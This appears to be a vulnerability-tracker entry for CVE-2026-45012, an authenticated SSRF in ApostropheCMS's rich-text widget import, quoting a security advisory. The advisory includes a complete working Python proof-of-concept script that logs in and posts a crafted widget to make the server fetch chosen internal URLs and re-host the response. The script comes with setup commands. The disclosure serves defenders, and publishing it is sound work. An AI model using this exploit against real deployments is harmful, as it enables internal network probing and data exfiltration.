CVE-2026-45012
highpriority · track · 0EPSS 0.002 · 14 %ileEUUSEPSS · scored 2026-10-27
ApostropheCMS is an open-source Node.js content management system. Versions up to and including 4.29.0 contain an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. As of time of publication, no known patched versions are available.
cvss
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base score 0–10 · higher = more severe · hover a vector to decode
ssvc
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weaknesses
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affected products (2)
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advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-pr28-mf3q-qpg6Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget2026-05-14ghsa · osvUS
### Summary ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. ### Details The vulnerable flow is in the rich-text widget sanitizer: - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js` - `packages/apostrophe/modules/@apostrophecms/area/index.js` - `packages/apostrophe/modules/@apostrophecms/widget-type/index.js` Relevant behavior: 1. The backend accepts a widget payload containing `import.html`. 2. It parses `<img src=...>` values from that HTML. 3. For each image, it resolves the URL with: - `new URL(src, input.import.baseUrl || self.apos.baseUrl)` 4. It then performs a server-side `fetch(url)`. 5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic. This is reachable during widget validation through: - `POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft` ### PoC 1. Start a local HTTP server with a valid PNG: ```bash mkdir -p /tmp/apos-poc base64 -d > /tmp/apos-poc/secret.png <<'EOF' iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII= EOF cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1 ``` 2. Run the following Python PoC: ```python #!/usr/bin/env python3 import argparse import json import sys from urllib.parse import urljoin import requests def login(base_url: str, username: str, password: str) -> str: url = urljoin(base_url, "/api/v1/@apostrophecms/login/login") r = requests.post( url, json={ "username": username, "password": password }, timeout=20 ) r.raise_for_status() data = r.json() token = data.get("token") if not token: raise RuntimeError(f"Login succeeded but no token was returned: {data}") return token def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict: url = urljoin( base_url, "/api/v1/@apostrophecms/area/validate-widget?aposMode=draft" ) payload = { "areaFieldId": area_field_id, "type": "@apostrophecms/rich-text", "widget": { "type": "@apostrophecms/rich-text", "content": "<p>seed</p>", "import": { "html": f'<img src="{target_url}">', "baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url } } } r = requests.post( url, headers={ "Authorization": f"Bearer {token}", "Accept": "application/json" }, json=payload, timeout=30 ) r.raise_for_status() return r.json() def main() -> int: parser = argparse.ArgumentParser( description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import." ) parser.add_argument("--base-url", default="http://127.0.0.1:3000") parser.add_argument("--username", default="admin") parser.add_argument("--password", default="admin123") parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add") parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png") parser.add_argument( "--fetch-image", action="store_true", help="Fetch the generated Apostrophe image URL after exploitation." ) args = parser.parse_args() try: token = login(args.base_url, args.username, args.password) result = trigger(args.base_url, token, args.area_field_id, args.target_url) except Exception as exc: print(f"[!] Exploit failed: {exc}", file=sys.stderr) return 1 print("[+] Login OK") print(f"[+] Bearer token: {token}") print("[+] Exploit response:") print(json.dumps(result, indent=2)) widget = result.get("widget") or {} image_ids = widget.get("imageIds") or [] if not image_ids: print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.") return 0 image_id = image_ids[0] image_path = f"/api/v1/@apostrophecms/image/{image_id}/src" image_url = urljoin(args.base_url, image_path) print(f"[+] Generated image id: {image_id}") print(f"[+] Generated image URL: {image_url}") if args.fetch_image: r = requests.get(image_url, allow_redirects=True, timeout=30) print(f"[+] Final fetch status: {r.status_code}") print(f"[+] Final URL: {r.url}") print(f"[+] Retrieved bytes: {len(r.content)}") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` 3. Example usage: ```bash python3 poc.py \ --base-url http://127.0.0.1:3000 \ --username admin \ --password admin123 \ --area-field-id cd4f89f5b834d0036f3867f1507a8add \ --target-url http://127.0.0.1:7777/secret.png \ --fetch-image ``` 4. Expected result: - The local listener receives: GET /secret.png HTTP/1.1 - The API response includes a rewritten Apostrophe image URL and imageIds. - The generated image URL can then be fetched through the application. Additional note: - If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration. ### Impact An authenticated user with permission to submit or edit rich-text widget content can: - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.) - perform blind or semi-blind internal port and service discovery - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content
also known as (3)
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sources
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references (4)
External citations — patches, advisories, analysis.
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6cnnvd
- https://github.com/apostrophecms/apostrophe/tagsPatchcnnvd
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6enisa_euvd
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6nvd
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